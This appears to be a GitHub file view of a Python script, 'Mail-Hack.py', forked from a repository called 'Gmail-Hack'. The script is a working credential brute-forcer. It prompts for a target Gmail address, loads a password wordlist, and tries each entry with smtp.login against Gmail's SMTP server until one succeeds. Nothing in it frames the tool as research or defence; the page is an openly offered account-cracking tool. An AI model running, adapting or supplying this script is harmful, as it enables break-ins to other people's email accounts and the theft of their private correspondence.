forked from Zard2007/Gmail-Hack
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Mail-Hack.py
64 lines (52 loc) · 2.63 KB
/
Mail-Hack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import smtplib, sys, os, random
from os import system
OKGREEN = '\033[92m'
WARNING = '\033[0;33m'
FAIL = '\033[91m'
ENDC = '\033[0m'
LITBU = '\033[94m'
YELLOW = '\033[3;33m'
CYAN = '\033[0;36'
colors = ['\033[92m', '\033[91m', '\033[0;33m']
RAND = random.choice(colors)
GMAIL_PORT = '587'
def artwork():
print("\n")
print(RAND + '''
▄████ ███▄ ▄███▓ ▄▄▄ ██▓ ██▓ ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀
██▒ ▀█▒▓██▒▀█▀ ██▒▒████▄ ▓██▒▓██▒ ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒
▒██░▄▄▄░▓██ ▓██░▒██ ▀█▄ ▒██▒▒██░ ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░
░▓█ ██▓▒██ ▒██ ░██▄▄▄▄██ ░██░▒██░ ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄
░▒▓███▀▒▒██▒ ░██▒ ▓█ ▓██▒░██░░██████▒░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄
░▒ ▒ ░ ▒░ ░ ░ ▒▒ ▓▒█░░▓ ░ ▒░▓ ░ ▒ ░░▒░▒ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒
░ ░ ░ ░ ░ ▒ ▒▒ ░ ▒ ░░ ░ ▒ ░ ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░
░ ░ ░ ░ ░ ░ ▒ ▒ ░ ░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░
░''')
artwork()
smtp = smtplib.SMTP("smtp.gmail.com", GMAIL_PORT)
smtp.ehlo()
smtp.starttls()
user = input("While The Target Gmail Adress: ")
pwd = input("Enter '0' to use the inbuilt passwords list \nEnter '1' to Add a custom password list\nOptions: ")
if pwd=='0':
passswfile="passworld.txt"
elif pwd=='1':
print("\n")
passswfile = input("Name The File Path (For Password List):")
else:
print("\n")
print("Invalid input! Terminaling...")
sys.exit(1)
try:
passswfile = open(passswfile, "r")
except Exception as e:
print(e)
sys.exit(1)
for password in passswfile:
try:
smtp.login(user, password)
print("[+] Password Found %s" % password)
break
except smtplib.SMTPAuthenticationError:
print("[-] Pasword Is Wrong. %s " % password)